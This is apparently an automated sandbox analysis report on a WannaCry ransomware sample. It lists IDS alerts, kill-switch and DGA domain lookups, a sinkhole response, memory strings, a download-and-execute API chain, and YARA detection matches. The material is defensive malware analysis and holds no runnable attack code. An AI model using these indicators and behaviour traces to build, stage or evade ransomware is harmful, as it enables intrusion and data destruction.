              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 05:06:47 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72d92b698fb9bbad-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
              Snort IDS alert for network traffic
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.6:55201 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.6:49764 -> 104.16.173.80:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.6:49764
              Source: TrafficSnort IDS: 2012730 ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup 192.168.2.6:60238 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.6:58801 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.6:49872 -> 104.16.173.80:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.16.173.80:80 -> 192.168.2.6:49872
              Source: TrafficSnort IDS: 2024281 ET TROJAN Known Hostile Domain ant.trenz .pl Lookup 192.168.2.6:61571 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.6:62041
              Source: TrafficSnort IDS: 2012730 ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup 192.168.2.6:65250 -> 8.8.8.8:53
              Tries to resolve many domain names, but no domain seems valid
              Source: unknownDNS traffic detected: query: pexolk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kyaayd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wbtlyi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yubejo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yewqik.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: cebyuc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: oexggu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ebktjj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ttuuco.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kuifik.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dxyarp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xddyyf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: isiuje.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jglbxn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: gtdsxd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vupmnw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: izuaoz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iezwqj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ynaosm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: gauybo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: esnasu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kyhpiv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vmylba.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hhuiuy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kifysk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fwptgv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hiyeja.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: isdzwp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jmioxk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xgqgpj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vajadh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uiamvb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hpjhga.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ntrlox.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: gxfend.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: oquydh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ebqfrl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uipjqf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aedemb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ayuwsb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fvirrh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wltepu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tpcdac.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jqeaih.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: sirbmz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hwbprd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wjkwum.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xrelmm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jshdri.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iilusc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wzzyrw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: avzpcv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xiygel.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: umxpav.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ilfyvi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kecprf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ulnhcg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: attefa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bdpueo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: huamiz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zmmqzw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: piymoe.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lonsdy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uzyuso.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vkyvei.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wctdma.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: zhhgjo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xawdey.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: rtoroq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wmvoad.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vkopis.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ubcyyc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: sblmgi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aqbize.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bhaeuu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ehuzeh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dfbyrz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ffhola.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fyhrxr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ammvvp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tufeuj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ayfhum.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: erozuu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tdoiua.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vhkbtm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aognkj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yeuhos.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: abewzg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pfaysr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: easfoe.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ktkyiy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kbidwa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ebdekj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: rksacp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jqtzda.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fqiwtu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ihserj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ehzhxd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jwawsi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qncseh.com replaycode: Name error (3)
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 104.16.173.80 104.16.173.80
              Source: Joe Sandbox ViewIP Address: 104.16.173.80 104.16.173.80
              Source: svchost.exe, 0000001C.00000000.510512916.0000029A9B0C6000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.917317337.0000029A9B0C6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: (@http://www.facebook.com equals www.facebook.com (Facebook)
              Source: svchost.exe, 00000024.00000002.934818706.00000266A596D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
              Source: svchost.exe, 00000012.00000000.432708805.0000023260AB7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.432338987.0000023260AB7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.926192004.0000023260AB7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cdn.content.prod.cms.msn.com/singletile/summary/alias/experiencebyname/today?market=en-US&sou
              Source: lsass.exe, 0000000B.00000000.405695778.0000020A0F800000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.918606091.0000020A0F800000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.413048756.0000020A0F800000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
              Source: lsass.exe, 0000000B.00000000.405285924.0000020A0F073000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
              Source: lsass.exe, 0000000B.00000000.413443429.0000020A0F823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.919286217.0000020A0F823000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.405763850.0000020A0F823000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
              Source: lsass.exe, 0000000B.00000000.410734133.0000020A0F0B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.405422825.0000020A0F0B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.916339789.0000020A0F0B1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
              Source: svchost.exe, 00000024.00000002.934818706.00000266A596D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: lsass.exe, 0000000B.00000000.405285924.0000020A0F073000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
              Source: lsass.exe, 0000000B.00000000.405722671.0000020A0F815000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.405285924.0000020A0F073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406739534.0000020A0F9BC000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.413265658.0000020A0F815000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.419346814.0000020A0F9BC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
              Source: lsass.exe, 0000000B.00000000.406120543.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.417773612.0000020A0F8B1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.406571408.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.418528774.0000020A0F95F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0~
              Source: svchost.exe, 0000001C.00000000.510512916.0000029A9B0C6000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.917317337.0000029A9B0C6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
              Source: mssecsvc.exe, 00000009.00000000.402972993.000000000040F000.00000008.00000001.01000000.00000004.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com)
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwer
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/K
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/LG
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/_
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/x
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com0
              Source: mssecsvc.exe, 00000004.00000002.718720264.000000000019C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ
              Source: svchost.exe, 00000012.00000000.432708805.0000023260AB7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.432338987.0000023260AB7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.926192004.0000023260AB7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://candycrush.king.com/mobile/windows/TileTemplate.xml
              Source: svchost.exe, 00000012.00000000.433084707.0000023260B50000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.433444149.0000023260B50000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.928744946.0000023260B50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-US
              Source: svchost.exe, 00000024.00000000.586950059.00000266A5C1B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000002.938182913.00000266A5C1B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://site-cdn.onenote.net/161182431559_Images/LiveTileImages/MediumAndLarge/Image1.png
              Source: mssecsvc.exe, 00000004.00000002.720690679.0000000000E28000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.kryptoslogic.com
              Source: unknownDNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C127A7 GetTempFileNameA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,CreateProcessA,InternetCloseHandle,InternetCloseHandle,4_2_00C127A7
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: mssecsvc.exe, 00000004.00000002.720371526.0000000000DDA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Detected Wannacry Ransomware
              Source: C:\Windows\tasksche.exeCode function: CreateFileA,GetFileSizeEx,memcmp,GlobalAlloc,_local_unwind2, WANACRY!24_2_004014A6
              Yara detected Wannacry ransomware
              Source: Yara matchFile source: 7KPQg3aXdC.dll, type: SAMPLE
              Source: Yara matchFile source: 9.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000006.00000000.393404837.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.397908031.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.479567288.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.395022838.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.402972993.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.504696441.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.389204437.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.392334168.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.391005501.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.387282199.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.718835065.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000000.394056130.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 2892, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 1548, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6120, type: MEMORYSTR
              Source: Yara matchFile source: C:\Windows\mssecsvc.exe, type: DROPPED

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 7KPQg3aXdC.dll, type: SAMPLEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 7KPQg3aXdC.dll, type: SAMPLEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: 9.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: 9.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 9.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
